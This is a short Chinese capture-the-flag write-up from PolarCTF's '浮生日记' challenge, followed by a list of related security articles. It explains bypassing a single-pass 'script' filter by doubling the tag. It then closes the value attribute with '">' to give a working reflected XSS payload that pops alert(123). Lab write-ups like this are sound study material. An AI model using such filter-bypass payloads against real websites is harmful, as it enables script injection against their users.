很明显是个XSS，尝试常规语句发现会过滤script
尝试双写
<scscriptript>alert(123)</scscriptript>
可以看到只过滤了一次<script>，但是还没有触发弹窗
我们看下源代码，发现需要对value进行闭合
那么payload如下：
"><scscriptript>alert(123)</scscriptript>
【PolarCTF】浮生日记
大方子2026-01-24 9:25
相关推荐
Splashtop高性能远程控制软件21 小时前
微软2026年11月补丁星期二解析：1094个 CVE、Outlook 零日 CVE-2026-124194 与修复优先级Thanks_ks2 天前
HTTPS：浏览器地址栏那把锁的工作原理曾令胜4 天前
云服务器被攻击后分析恶意脚本修复漏洞菩提小狗4 天前
每日安全情报报告 · 2026-11-09东姬AI5 天前
挖出948个内核漏洞、自动写补丁：GPT-6 Cyber把AI推进“实战岗“，内容行业还卡在哪一关？ppo_wu5 天前
解决夸克网盘自动修改PDF打开方式的方法kingx36 天前
Bugku 逆向 MatrixHunter：黑盒 oracle + GF(2) 消元出唯一解菩提小狗7 天前
每日安全情报报告 · 2026-11-07不庸.7 天前
theHarvester 入门教程：从装好到看懂输出liferecords8 天前
OpenAI 把「Critical」级挖洞模型交付出去了：GPT-6 Cyber 正式发布，越界率压到 1% 以下